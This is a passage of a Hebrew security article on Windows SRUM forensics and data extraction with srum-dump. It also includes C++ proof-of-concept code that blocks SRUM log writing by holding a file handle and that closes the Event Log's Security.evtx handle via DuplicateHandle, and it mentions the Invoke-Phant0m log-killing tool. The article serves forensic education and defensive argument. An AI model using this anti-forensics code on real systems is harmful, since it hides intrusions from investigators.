- -7h3r3 15 n0 5p00n- המארב הפרוע - SRUM ומבט לעתיד עולם ההגנה מאת אורית כהן ושי נחום הקדמה SRUM הינו אובייקט פורנזי חדש שהופיע החל מ- 8.Windows במאמר

מסמכים קשורים
משימה תכנית המתרגמת קטעי טקסט לשפה אחרת הקלט: קובץ המכיל את קטעי הטקסט וכן את השפה אליה רוצים לתרגם תרגול מס' 4: המתרגם שימוש במחלקות קיימות תכנות מתק

תרגול מס' 4: המתרגם שימוש במחלקות קיימות מחרוזות, קבצים, וקבלת קלט מהמשתמש

מיכפל

שאלהIgal : מערכים דו מימדיים רקורסיה:

יצוא לחשבשבת תוכן עיניינים הגדרות - חשבונות בנק...2 הגדרות - הגדרות חשבשבת... 3 הגדרות - כרטיסי אשראי... 4 הגדרות - סוגי הכנסה... 5 יצוא לחשבשבת...6 י

Office 365 ProPlus בחינם לסטודנטים באוניברסיטת בן גוריון בנגב הוראות סטודנטים באוניברסיטת בן גוריון בנגב יכולים להוריד ולהתקין את חבילת התוכנה Office

תכנות מונחה עצמים א' – תש"ע

2013/14 אוניברסיטת חיפה מבוא למדעי מחשב, מעבדה מטרת המעבדה: לתרגל את המעבר מאלגוריתם לקוד C כמה שיותר. הוראות:.1.2 ניתן לעבוד ביחידים או בזוגות. (יש מ

אוניברסיטת חיפה החוג למדעי המחשב מבוא למדעי המחשב מועד א' סמסטר ב', תשע"ג, משך המבחן: שעתיים וחצי חומר עזר: אסור הנחיות: וודאו כי יש בידיכם

מבוא לתכנות ב- JAVA תרגול 11

מהוא לתכנות ב- JAVA מעבדה 3

אוניברסיטת בן גוריון בנגב תאריך המבחן: שם המרצה: מר אלכסנדר שקולניק, בשפת JAVA מבחן ב: מבוא לתכנות מס' הקורס : מיועד לתלמידי : הנד

PowerPoint Presentation

מדריך להתחלה מהירה Microsoft Project 2013 נראה שונה מגירסאות קודמות, ולכן יצרנו מדריך זה כדי לעזור לך ללמוד להכיר אותו. סרגל הכלים לגישה מהירה התאם אי

Microsoft Word - Ass1Bgu2019b_java docx

PowerPoint Presentation

מערכות הפעלה קורס מס'

התגוננות בפני כוחות האופל

הוספת קישור לאתר אינטרנט תוכן ממשק בדיקת מטלות...3 איחוד אתרי קורסים...5 סל מחזור... 7 חידושים בפעילויות...8 תצורת קורס: כפתורים... 9 פורומים...10 שיפ

ייבוא וייצוא של קבצי אקסל וטקסט

מספר מחברת: עמוד 1 מתוך 11 ת"ז: תשע"א מועד ב סמסטר א' תאריך: 00:11 שעה: 0 שעות הבחינה: משך כל חומר עזר אסור בשימוש בחינה בקורס: מבוא למדעי ה

מסע מדע ו - מסע ברכב שטח ביבשות רחוקות

תאריך פרסום: תאריך הגשה: מבנה נתונים תרגיל 5 )תיאורטי( מרצה ומתרגל אחראים: צחי רוזן, דינה סבטליצקי נהלי הגשת עבודה: -את העבודה יש לה

- גרסת חורף 18' של Salesforce 10 חידושים בענן המכירות גרסת חורף 18' כבר כאן, ולפני שנסקור את השיפורים בגרסה זו, הכנו לכם חידה: ב- Webinar שעשינו בגרסה

אוניברסיטת בן גוריון בנגב תאריך המבחן: שקולניק אלכסנדר שם המרצה: מר בשפת JAVA מבוא לתכנות מבחן ב: מס' הקורס : הנדסת תעשיה וניהול מ

PowerPoint Presentation

מבוא למדעי המחשב

הנחיות הורדה ותפעול לספרים דיגיטלים. הוצאת כנרת, זמורה ביתן שמחה להגיש לכם, התלמידים, ספר דיגיטלי. הספרים עצמם הינם בקבצי PDF הניתנים להורדה ללא עלות

מבחן 7002 פרטים כלליים מועד הבחינה: בכל זמן מספר השאלון: 1 משך הבחינה: 3 שעות חומר עזר בשימוש: הכל )ספרים ומחברות( המלצות: קרא המלצות לפני הבחינה ובדי

<4D F736F F D20FAE5F1F4FA20ECE7E5E5FA20E3F2FA20ECE2E1E920E3E9F1F720FAEEE5F0E5FA20E6E9F8FA20E4F8F6E72E646F63>

מבחן סוף סמסטר מועד א 15/02/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, דניאל גנקין הוראות: א. בטופס המבחן 7 עמודים ו 4 דפי נוסחאות. ב

ת'' מדריך לבעלי תיבה קיימת במופ ומשתמשים ב Outlook 2003 או doc.2007 לפני שניגש להגדיר את תיבת המייל החדשה, נבצע גיבויי של המיילים ופנקס הכתובות מהחשבו

WinZIP תוכנה לדחיסת קבצים ספטמבר 2007

PowerPoint Presentation

מבוא למדעי המחשב - חובלים

Slide 1

שאלהIgal : מערכים דו מימדיים רקורסיה:

סדנת תכנות ב C/C++

(Microsoft Word - SQL\353\351\345\345\365 \341\361\351\361 \360\372\345\360\351\355 \ doc)

PRESENTATION NAME

מדריך להתקנת Code Blocks מדריך זה נועד לתאר את תהליך התקנת התוכנה של הקורס "מבוא למחשב שפת C". בקורס נשתמש בתוכנת Code::Blocks עם תוספת )אשף( המתאימה

Cloud Governance הכלי למזעור סיכונים ומקסום התועלת העסקית

Microsoft Word B

מספר זהות: סמסטר ב' מועד א' תאריך: 11102/4// שעה: 9:22 משך הבחינה: 3 שעות חומר עזר: אין מותר השימוש במחשבון פשוט בחינה בקורס: מבני נתונים מרצה: הדר בי

מבוא למדעי המחשב

מבוא למדעי המחשב

PowerPoint Presentation

מבוא למדעי המחשב

תוכן העניינים

Disclaimer מסמך זה הינו סיכום און-ליין של השיעור ולא עבר עריכה כלל. מצאת טעות? שלח/י לי מייל ואתקן: 07/05/2009 קורס: מערכות ה

פייתון

הגשה תוך שבוע בשעת התרגול

מבוא לאסמבלי

Microsoft Word - c_SimA_MoedB2005.doc

Homework Dry 3

PowerPoint Presentation

תרגול 1

PowerPoint Presentation

6 סיבות מדוע הכרחי לקחת אחריות על גיבוי ה Office חשיפת סיבות קריטיות מדוע ארגונים זקוקים לגיבוי נתוני ה Office 365 -

מרצים יקרים, אתר המכללה מאפשר למרצי המכללה להזין את פרטיהם וקורות חייהם. זאת בדומה לאתרים מקבילים של מוסדות אקדמיים בארץ ובעולם. עמודי המרצים נועדו לא

פתרון מוצע לבחינת מה"ט ב_שפת c מועד ב אביב תשע"ט, אפריל 2019 מחברת: גב' זהבה לביא, מכללת אורט רחובות שאלה מספר 1 מוגדרת מחרוזת המורכבת מהספרות 0 עד 9.

שאלה 2. תכנות ב - CShell

הטכניון מכון טכנולוגי לישראל אלגוריתמים 1 )443432( סמסטר חורף הפקולטה למדעי המחשב תרגול 9 מסלולים קלים ביותר תרגיל APSP - 1 עד כה דנו באלגור

Microsoft PowerPoint - rec3.ppt

אוניברסיטת חיפה החוג למדעי המחשב מרצה: שולי וינטנר מתרגלים: נעמה טוויטו, מחמוד שריף מבוא למדעי המחשב סמסטר א' תשע"ב בחינת סיום, מועד א', הנחי

תשע"דד אביב תוכנה 1 תרגיל מספר 4 עיבוד מחרוזות וקריאה מקבצים הנחיות כלליות: קראו בעיון את קובץ נהלי הגשת התרגילים אשר נמצא באתר הקורס..(

מבחן סוף סמסטר מועד ב 28/10/08 מרצה אחראית: דר שירלי הלוי גינסברג מתרגלים: גלעד קותיאל, גדי אלכסנדרוביץ הוראות: א. בטופס המבחן 6 עמודים (כולל דף זה) ו

ex1-bash

מבוא לתכנות ב- JAVA תרגול 7

עמוד 1 מתוך 5 יוחאי אלדור, סטטיסטיקאי סטטיסטיקה תיאורית + לוחות שכיחות בדידים/רציפים בגדול מקצוע הסטטיסטיקה נחלק ל- 2 תחומים עיקריים- סטט

שאלהIgal : מערכים דו מימדיים רקורסיה:

תוכן העניינים

מבוא למדעי המחשב

שעור 6

regular_expression_examples

מקביליות

סיכום הוראות Touch touchend יקרא לפונקציה כשיסתיים המגע עם הסמארטפון. - touchmove יקרא לפונקציה במהלך תזוזת המגע עם הסמארטפון. touchstart יקרא לפונקצי

People. Partnership. Trust שלבי הפרויקט והמסלולים השונים - פלטפורמת "קהילה לומדת" מסלול Free שלבי הפרויקט: חיבור לשירותי Office 365 ללא עלות פורטל התח

המשימה תרגול מס' 5: קלט-פלט במערכות הפעלה שונות יש סימונים שונים עבור ירידת שורה :)newline( ב- UNIX/Linux )Line Feed( \n ב- Windows )Carriage Return +

PowerPoint Presentation

Slide 1

מבוא למדעי המחשב - חובלים

מקביליות

בס"ד תרגיל 3 מועד אחרון ל כללי בתרגיל זה עליכם לכתוב תוכנה שמדמה מאגר נתונים של חנות. את מוצרי החנות תייצגו באמצעות עצים ורשימות מקושרות יהיה עליכם לנ

BIG DATA תיאור הקורס המונח Big Data הולך וצובר תאוצה בשנים האחרונות, הוא הופך למגמה רווחת בתעשייה. המשמעות הפרקטית של המונח Big Data הינה טכנולוגיות נ

Slide 1

אחריות קבוצתית

People. Partnership. Trust מסלול Free פורטל החינוך מבית U-BTech מסלולים ומחירים חיבור לשירותי Office 365 ללא עלות פורטל התחברות הכולל ממשק למנב"ס ולסי

שבוע 4 סינטקס של HACK ASSEMBLY ניתן להשתמש בשלושה אוגרים בלבד:,A,D,M כולם בעלי 16 ביטים. M אינו אוגר ישיר- הוא מסמן את האוגר של ה RAM שאנחנו מצביעים ע

234114

Algorithms Tirgul 1

כללי הסכם ותנאי שימוש בשירות ובתכנות Private Backup השימוש בשירות Private Backup וכן התקנת תוכנה זו והעדכונים

Slide 1

Titre du document en police Sodexo

Microsoft PowerPoint - meli-iso.ppt

מבוא למדעי המחשב

תמליל:

- -7h3r3 15 n0 5p00n- המארב הפרוע - SRUM ומבט לעתיד עולם ההגנה מאת אורית כהן ושי נחום הקדמה SRUM הינו אובייקט פורנזי חדש שהופיע החל מ- 8.Windows במאמר זה נלמד על,SRUM מה תפקידו, הנתונים שהוא מכיל ואיך נוכל לשלוף את המידע כדי לסייע לנו בחקירה פורנזית. נהפוך את הנושא היבש הזה לקצת יותר מעניין ונראה כי למרות תפקידו החשוב ניתן לפגוע בפעילותו יחסית בקלות באמצעות PoC קטן שנבנה. נראה כי PoC מניעת לוגים זה הינו דוגמה אחת מאוסף אפשרויות שיכולות לשמש תוקפים למנוע כתיבת לוגים. לסיום ננסה להתפכח, ונסתכל על מרחב הסייבר מלמעלה כדי להבין האם ניתן לצאת מקופסת החתול ועכבר שהתוקפים הכניסו אותנו אליה. הכותבים מניחים כי הקורא מכיר את הנושאים הבאים: Windows Internals Windows Forensics C++ שורום, זורום זורום רים או בקצרה SRUM,System Resource Usage Monitor או בקיצור SRUM הינו אובייקט פורנזי המשמש לניטור שימוש משאבי מערכת. אובייקט זה, מכיל מידע רב על שימוש בנתוני וקישוריות רשת, שימוש באפליקציות, צריכת אנרגיה על עמדת הקצה ועוד. משיחות שלנו עם אנשי אבטחת מידע מסתבר שרבים מהם לא מכירים אותו, מה שחיזק אצלנו את הרצון לכתיבת מאמר בנושא זה. SRUM נראה לראשונה ב- 8 Windows והינו חלק משירות (DPS) Diagnostic Policy Service )נושא שלם שלא נרחיב עליו במאמר זה(. מופע התהליך svchost.exe של השירות הינו זה שמזין נתונים ל- SRUM. בסיס מידע זה אוצר נתונים פורנזיים רבים על פעילויות שמתבצעות על עמדת הקצה שלנו. אבל איך זה בדיוק קורה? קובץ SRUB.DAT מתפקד כבסיס הנתונים הקבוע אשר שמור בנתיב: %windir%/system32/sru

של מיקרוסופט, ESE Engine( )Extensible Storage בסיס נתונים זה מאחסן נתונים בטכנולוגיית ו- Windows Active Directory,Microsoft Exchange Server שמשתמשת בו במוצרים נוספים כמו:.Search ניתן לראות חלק מהמידע הזה מכיל מידע רב על כל הפעילויות שמתבצעות במכונה שלנו. SRUM מלשונית ההיסטוריה במנהל המשימות, אך פרטים רבים שנאספים לא מוצגים דרך ה- GUI של מנהל המשימות, מוצג באיור הבא: SRUM כל כך חזק כי הוא מאפשר לנו לדעת זמנים מדויקים של איזו אפליקציה הופעלה, על ידי איזה משתמש ואת הפעילות התקשורתית של האפליקציה. גם אם תוקף יצר חשבון זמני ולאחר מכן מחק אותו נתונים אלו נשמרים בבסיס הנתונים הזה. ל- SRUM קיים נתיב ברגיסטרי שמחזיק מידע אודותיו, כמו למשל כלל ה- DLL שהוא משתמש בהם כדי לנטר את הפעילויות שמתבצעות על העמדה. בנתיב רגיסטרי הבא: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SRUM\ נתיב זה מכיל מספר מפתחות כמו למשל,Extensions שמחזיק את ה- GUID של כל DLL המסייע לפעילותו של ה- SRUM )מזהה GUID זהה בגרסאות ה- Windows השונות(, בעבר גם החזיק נתונים זמניים עד הכתיבה לדיסק*. 2

DLL במערכת nduprov.dll תיאור של ה- GUID מופיע בטבלה הבאה: GUID 973F5D5C-1D904944- BE8E24B94231A174 d10ca2fe-6fcf4f6d- 848eb2e99266fa86 d10ca2fe-6fcf4f6d- 848eb2e99266fa89 DD6636C4-89294683- 974E22C046A43763 fee4e14f-02a94550- b5ce5fa2da202e37 תיאור Windows Network Data Usage Monitor Windows Push Notifications (WPN) SRUM Provider Application Resource Usage Provider Windows Network Connectivity Usage Monitor Energy Usage Provider wpnsruprov.dll appsruprov.dll ncuprov.dll energyprov.dll תדירות העדכון של הקובץ SRUDB.DAT בדרך כלל תעמוד על 30-60 דקות )אך יתכן שתשתנה בין גרסת Windows אחת לשניה ובין build אחד למשנהו, ב- 8 Windows למשל העדכון מתבצע כל שעה( וניתן יהיה לעדכן אותה בנתיב הרגיסטרי הבא: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack \SettingsRequests\WINDOWS.DIAGNOSTICS RefreshInterval תחת הערך: 3

אך גם לאחר השינוי ברגיסטרי, התדירות תתעדכן רק לאחר הפעלה מחדש של המחשב: אמנם SRUM הופיע לראשונה ב- 8,Windows אך הוא אינו קיים ב- 2016,Server אלא רק ב- 2019.Server בכל עצירה של ה- Service DPS הנתונים של SRUM נכתבים מהזיכרון אל הדיסק. שליפת הנתונים תכירו את,srum-dump כלי המאפשר לכם לפרסר מידע ישירות מה- SRUM. על מנת לפרסר מידע מ- להורדה מ:- https://github.com/markbaggett/srum )ניתן השתמשנו ב- srum-dump.exe SRUM Microsoft ומאפשר לנו לראות אותם באופן ברור ומסודר ב- Excel SRUM כלי זה שולף את נתוני.)dump או בכל יישום תואם.csv הכלי הורץ על סביבת Windows 10 בגרסא 10.0.18362. להרצת התכנה נדרשים מספר גורמים. עותק מהימן של הקובץ בו נמצא מידע בסיס הנתונים של SRUM מהמערכת אותה אנו רוצים לנתח )SRUDB.dat( וקובץ תבנית xlsx אליו ייכנסו הנתונים כך שנוכל לראות ולהבין אותם בקלות. בנוסף, נדרשות הרשאות חזקות )הרשאות )Administrator כדי לשלוף את הנתונים הללו. על מנת לשלוף נתונים מ- SRUM על ידי srum-dump ביצענו את השלבים הבאים: תחילה הורדנו את קובץ הריצה srum-dump.exe ואת תבנית ה- SRUM-TEMPLATE.xlsx. התכנה דורשת קובץ המפרט את שדות הנתונים שאנו רוצים להשיג ואת סוג הפורמט בו יהיו. ניתן ליצור קובץ כזה באופן עצמאי אך היוצר של,srum-dump מספק ב- github שלו דוגמת תבנית הנקראת SRUM-TEMPLATE.xlsx יחד עם הכלי. 4

כאמור לעיל הנתונים של SRUM מאוחסנים בספרייה \Windows\System32\sru\ בקובץ הנקרא.SRUDB.DAT קובץ זה לעיתים נעול על ידי מערכת ההפעלה ולכן יש ליצור עותק אמין ולהריץ עליו את התכנה. לכן, השתמשנו בתכנת צד שלישי המיועדת להעתקת קבצים נעולים. לשם כך השתמשנו ב- Shadow,Copy תכנה זו משתמשת ב- Service Volume Shadow ובכך מאפשרת להעתיק קבצים נעולים וקבצים הנמצאים בשימוש ממיקום אחד לאחר בעזרת ממשק משתמש פשוט. ניתן לראות את התכנה בתמונה הבאה: Srum-dump קורא את קובץ ה- SRUDB.dat, שולף את הנתונים הנמצאים בו כמוגדר בקובץ התבנית SRUM-TEMPLATE.xlsx ומייצר קובץ xlsx חדש עם התוצאות. לדוגמא, ב- prompt command הפקודה להלן תריץ את srum_dump.exe והתכנה תנתח את הקלט )i-( SRUM_TEMPLATE.xlsx )t-( ובעזרת קובץ התבנית SOFTWARE )r-( ואת ה- registry -י SRUDB.dat ולבסוף תיצור קובץ פלט )o-( בשם.SRUM_DATA.xlsx 5

לדוגמא: srum-dump.exe -i SRUDB.dat -r C:\Windows\System32\config\SOFTWARE -t SRUM_TEMPLATE.xlsx -o SRUM_DATA.xlsx הערה: הכלי עושה שימוש ברגיסטרי שהוזכר לעיל, אך ממחקר שביצענו גם ב- 8 Windows וגם ב-,Windows 10 הנתונים הזמניים של SRUM אינם נשמרים ברגיסטרי יותר, למעט לאחר התקנה של,Windows 8 ומיד לאחר עדכון ראשוני של הקובץ )SRUDB.DAT( הם נמחקים. לכן, ניתן לבצע את הפקודה ללא הפרמטר של הרגיסטרי: נוצר לנו קובץ xlsx עם נתוני.SRUM לקובץ ה- xlsx שנוצר כתוצאה יש כמה כרטיסיות לרוחב התחתית. בכל כרטיסייה ניתן למצוא מידע חשוב ש- SRUM אסף לבסיס הנתונים שלו לגבי המחשב אותו הוא מנטר. 6

בצילום המסך להלן, ניתן לראות בכרטיסיית השימוש ברשת - Usage - Network ש- DoSvcי ( delivery. cohen" שומש על מנת להעביר מספר גדול של נתונים ברשת אלחוטית בשם ) optimization service קיימים כלים נוספים שמאפשרים שליפת הנתונים של למשל OSForensics שמאפשר לצפות.SRUM בבסיסי נתונים בטכנולוגיית :ESE 7

ובנוסף בגרסה האחרונה שלו OSFV7 מאפשרת גם תצוגה יותר נוחה של הנתונים תחת :Recent Activity כלי נוסף שמאפשר צפייה בנתונים של SRUM הוא NetworkUsageView וניתן להוריד אותו בקישור הבא: https://www.nirsoft.net/utils/network_usage_view.html 8

מניעת לוגים - בדיקות מעבדה כלל בדיקות המעבדה התבצעו על עמדת Windows 10 בגרסת 10.0.16299. הגדרות לוגים בסיסיות של מערכת ההפעלה. אחלה, אנחנו יודעים מה זה SRUM וגם יודעים איך לשלוף את המידע בו ואפשר להמשיך לפרט על כל הנתונים הקיימים בו, אבל עד עכשיו הנושא הזה די יבש... אז מה ניתן לעשות במקרים כאלה כדי ליצור קצת ריגוש? ביצוע דברים נועזים בפרהסיה מבלי שאף אחד יראה ביטול כתיבת הלוגים במערכת ההפעלה הפאנטום דוגמה אחת שנתקלנו בה הינה - Invoke-Phant0m כלי שכתוב ב- Powershell שנועד להרוג Threads )תהליכונים( של התהליך האחראי לכתיבת הלוגים במערכת ההפעלה Killer(.)Windows Event Log הסקריפט מזהה והורג את התהליכונים האחראיים לכתיבת הלוגים במערכת ההפעלה בעוד שמופע התהליך svchost.exe שאחראי על Service כתיבת הלוגים נראה תקין ופועל. נדרשות הרשאות חזקות כדי להפעיל את הכלי. https://github.com/hlldz/invoke-phant0m מידע נוסף על הכלי ניתן למצוא בקישור הבא: אז זו דרך אחת למנוע את כתיבת הלוגים של מערכת ההפעלה בצורה יחסית שקטה מבלי לעורר חשד או לוגים נוספים של מערכת ההפעלה אך כמובן שקיימות עוד מספיק אפשרויות נוספות אחרות למניעת לוגים. מה שמכניס אותנו ללופ של חתול ועכבר. וכמובן פוגע באופן מהותי בכל תהליך החקירה הפורנזי של המגן )אירוע שאסור למגני סייבר להשלים איתו(. מצטערים, הקובץ נעול לכתיבה... נממש דרך נוספת למניעת לוגים הפעם על SRUM אך בשיטה אחרת. גם כאן, נדרשות הרשאות גבוהות כדי לממש את השיטה. נחזיק הנדל לקובץ SRUDB.DAT וכך ה- Service המקורי האחראי על כתיבת הלוגים לא יוכל לכתוב את הנתונים לקובץ, יתרה מכך, אנו יודעים את הזמנים שבהם ה- Service כותב לקובץ ולכן ניתן יהיה לתפוס את ההנדל על הקובץ לפני כל נגיעה של ה- Service בו או פשוט לא לשחרר אותו. נשים לב כי בכל פעם שה- Service DPS נוגע בקובץ הוא נעול למשך 2 דקות לערך. 9

כלומר אם נבקש הנדל לקובץ ולא נקבל, נמתין כ- 2 דקות ואז נבקש שוב. הקוד שלנו יראה כך: bool SruFileHandleExample() unsigned int dupresult=0; bool returnvar=false; if ( hsrumprocess!= NULL) hsrumfile = CreateFile(srumpath, GENERIC_READ, 0, NULL, OPEN_EXISTING, ACCESS_SYSTEM_SECURITY, NULL); while ( hsrumfile == NULL && hsrumfile == INVALID_HANDLE_VALUE) Sleep(180000); // sleep for 3 minutes. hsrumfile = CreateFile(srumpath, GENERIC_READ, 0, NULL, OPEN_EXISTING, ACCESS_SYSTEM_SECURITY, NULL); if(hsrumfile!=null) printf("execute all your evil wishes"); //write your mal code here. returnvar=true; while(true) Sleep(INFINITE); // sleep - only for the example. //CloseHandle(hSRUMFile); // release handle return returnvar; יותר מדי פשוט ביטול ה- Viewer Event ע"י Duplicate Handle ניתן לממש שיטה זו גם עבור קבצים שתפוסים תמידית על ידי מערכת ההפעלה, :DuplicateHandle - מעניינת API הפעם נעזר בפונקציית.Security.evtx כמו למשל https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-duplicatehandle BOOL DuplicateHandle( HANDLE hsourceprocesshandle, HANDLE hsourcehandle, HANDLE htargetprocesshandle, LPHANDLE lptargethandle, DWORD dwdesiredaccess, BOOL binherithandle, DWORD dwoptions ); פונקציה API זו מאפשרת לנו לשכפל הנדל. בנוסף, הפרמטר dwoptions מאפשר לנו לשכפל את ההנדל המקורי ולסגור אותו בתהליך המקורי באמצעות הערך.DUPLICATE_CLOSE_SOURCE לפונקציה שמבצעת סגירה של ההנדל עבור קובץ נראה דוגמה.Security.evtx בשלב הראשון נקבל רשימה של כל ההנדלים הקיימים. נתחיל לעבור עליהם אחד אחד כדי למצוא את ההנדל שמעניין אותנו. נשתמש בפרמטר pid כדי לקבל הנדל לתהליך של Event Viewer )נניח שאנו נקבל אותו כפרמטר(. נבדוק רק 01

הנדלים של קבצים )0x24(. נעבור על כל הנדל ונבדוק האם הוא ההנדל על הקובץ.Security.evtx לאחר שמצאנו אותו, נשכפל אותו ונסגור אותו על המקור: HANDLE GetSecurityHandle(ULONG pid) PSYSTEM_HANDLE_INFORMATION handleinfo; ULONG handleinfosize = 0x10000; HANDLE processhandle = NULL; // Get the list of all handles in the system PSYSTEM_HANDLE_INFORMATION psyshandleinformation = new SYSTEM_HANDLE_INFORMATION; DWORD size = sizeof(system_handle_information); DWORD needed = 0; TCHAR Path[BUFSIZE]; std::string systemevtxstr ("Security.evtx"); HANDLE evthfile, evthfile2dup; handleinfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); while ((NtQuerySystemInformation(SystemHandleInformation, handleinfo, handleinfosize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) handleinfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleinfosize *= 2); for (int i = 0; i < handleinfo->handlecount; i++) SYSTEM_HANDLE handle = handleinfo->handles[i]; POBJECT_TYPE_INFORMATION objecttypeinfo; PVOID objectnameinfo; UNICODE_STRING objectname; ULONG returnlength; HANDLE processhandle; processhandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid); _NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject"); HANDLE duphandle = NULL; if (handle.processid == pid && handle.objecttypenumber == (BYTE)0x24) NtDuplicateObject(processHandle, (HANDLE)handle.Handle, GetCurrentProcess(), &duphandle, 0, 0, 0); objecttypeinfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000); NtQueryObject(dupHandle, ObjectTypeInformation, objecttypeinfo, 0x1000, NULL); objectnameinfo = malloc(0x1000); NtQueryObject(dupHandle, (OBJECT_INFORMATION_CLASS)ObjectNameInformation, objectnameinfo, 0x1000, &returnlength); objectnameinfo = realloc(objectnameinfo, returnlength); if(nt_success(ntqueryobject(duphandle, (OBJECT_INFORMATION_CLASS)ObjectNameInformation, objectnameinfo, returnlength, NULL))) objectname = *(PUNICODE_STRING)objectNameInfo; int size_needed = WideCharToMultiByte(CP_UTF8, 0, objectname.buffer, (int)objectname.length, NULL, 0, NULL, NULL); std::string strto( size_needed, 0 ); WideCharToMultiByte(CP_UTF8, 0, objectname.buffer, (int)objectname.length, &strto[0], size_needed, NULL, NULL); std::size_t found = strto.find(systemevtxstr); if (found!=std::string::npos) unsigned int dupresult=0; dupresult = DuplicateHandle(processHandle, (HANDLE)handle.Handle, 00

GetCurrentProcess(), &evthfile2dup, 0, FALSE, DUPLICATE_CLOSE_SOURCE); _tprintf(text("\nthe final path is: %s\n"), objectname.buffer); std::free(objecttypeinfo); std::free(objectnameinfo); CloseHandle(dupHandle); std::free(handleinfo); CloseHandle(processHandle); return 0; https://github.com/snocs/srum ניתן למצוא את קטעי הקוד הנ"ל בגיטהאב בכתובת הבאה: ההשלכות אז הראנו שעם הרשאות חזקות על העמדה, תוקף יכול להתל בנו בקלילות כמה שירצה. למנוע לוגים באמצעות החזקה של הנדלים או סגירה שלהם ולבצע פעילות זדונית על העמדה כאילו כלום לא קרה באופן יחסית שקט ובאמצעות מספר פונקציות API בסיסיות. תוקף רציני ירצה לבצע פעולות מבלי להשאיר עקבות אחריו, ככל הנראה יחזיק בארסנל שלו חולשה של הסלמת הרשאות )או שיגנוב הרשאה חזקה בדרך כזו או אחרת( כמובן וביצע מלכתחילה למידה של היעד אותו הוא תוקף. מה אפשר ללמוד מכך? עולם ההגנה במצבו הנוכחי הינו ידוע, צפוי ולעיתים גם שקוף מדי )למה שלא תהיה למשתמש/למגן אפשרות לבחור בעצמו את שם הקובץ SRUDB.DAT ואת הנתיב שבו הוא נמצא??(. תוקף רציני מכיר היטב את היעד שאותו הוא תוקף. בנוסף, התוקף הספיק ללמוד גם את מערכות ההגנה )כולל מערכות הונאה( שהיעד רכש )כדי להגן על עצמו( וידע להתמודד איתם מבלי מפריע, )לעיתים רוכש אותם בעצמו ]מסחרי כבר אמרנו?[, ולפעמים אין צורך מפני שהמערכת שקופה, שמות תהליכים ידועים, שמות קבצים, הטמעה ברשת מסוימת או עמדות מסוימות וכדומה(. 02

סיכום - הם שרים הם שרים הם שרים ארגון יכול להחזיק את מערכות ההגנה הכי מתקדמות עם הטכנולוגיה הכי חדשה, אך גם טכנולוגיה זו מתבססת על ה"קרביים" של מערכת ההפעלה, וזאת ניתן לעקוף כפי שהצגנו כאן. אז איך ניתן להקשות עוד יותר על התוקפים? לנסות להיות פחות שקופים בתור התחלה, וגם להתחיל להתנהג קצת כמו תוקפים )מאמר קודם - זיהוי באפלה(, הגנה קניינית )יכולות וטכנולוגיות הגנתיות שידועות ושייכות רק למגן - מאמר המשך בנושא(, hunting בהפתעה על ידי גורם צד שלישי, הסתרת כלי הזיהוי שלנו על ידי הזרקת קוד לתהליכים קיימים ועוד. בעולם כזה, התוקפים יצטרכו לעבוד יותר ויותר כמו מגנים, יצטרכו לבצע פורנזיקה, חקירות זיכרון ו- RE כדי להבין את הסביבה שבה הם נמצאים והאם מישהו מנסה לאתר או לנטר אותם ורק לאחר מכן יפעלו. כך כמגנים, נוכל להגדיל את מרחב הטעות של התוקפים, את משך הזמן לתקיפת היעד ואולי הכי חשוב, את המאמץ הנדרש כדי לתקוף, אולי עד לרמה שבו התוקפים יעשו "חושבים" אם משתלם בכלל לתקוף את היעד... התוקף בדרך כלל מגיח בהפתעה, לא מגלה את השיטות שלו, אז למה המגנים צריכים להיות כל כך שקופים? אנחנו מאמינים כי בעתיד Microsoft תבין זאת ותספק שכבת הגנה נוספת למערכת ההפעלה, שכבה גנרית שתהיה ידועה אך ורק למגן שהטמיע אותה. פתרון כזה, המשלב מארב והונאה, יכול להפתיע כל תוקף... אז נכון, עדיין לא נמצאה השיטה/המערכת שתצליח לזהות, למנוע או לסכל את כל תקיפות הסייבר אבל אנחנו מאמינים שבמתודולוגיה המתוארת במאמר זה ניתן להתחיל לשנות את המשוואה. תודות תודה רבה ל-עמית פורת, שחק שלו, יהונתן שחק, משה חסן, ונתנו מזמנם לקרוא את הטיוטה והביאו הצעות לשיפורים. על המחברים טל בלום, גיא כלפון ועדן מיוחס שטרחו אורית כהן - תוכניתנית וחוקרת אבטחת מידע המתמחה ב- Windows. שי נחום - בעל חברת אבטחת מידע המתמחה בחקירת פוגענים, פורנזיקה ויכולות תגובה בעת אירוע סייבר, בעל תואר שני בהנדסת מערכות מידע מהטכניון עם התמחות בתחום הסייבר. לפניות או שאלות ניתן לפנות אלינו דרך המייל הבא: orityc6@gmail.com או דרך חשבון הלינקדאין: https://www.linkedin.com/in/shay-nachum-49260b61/ 03

מקורות https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492184583.pdf https://cyberforensicator.com/2017/08/06/windows-srum-forensics/ https://github.com/markbaggett/srum-dump https://daneshyari.com/article/preview/457798.pdf https://isc.sans.edu/forums/diary/system+resource+utilization+monitor/21927/ 04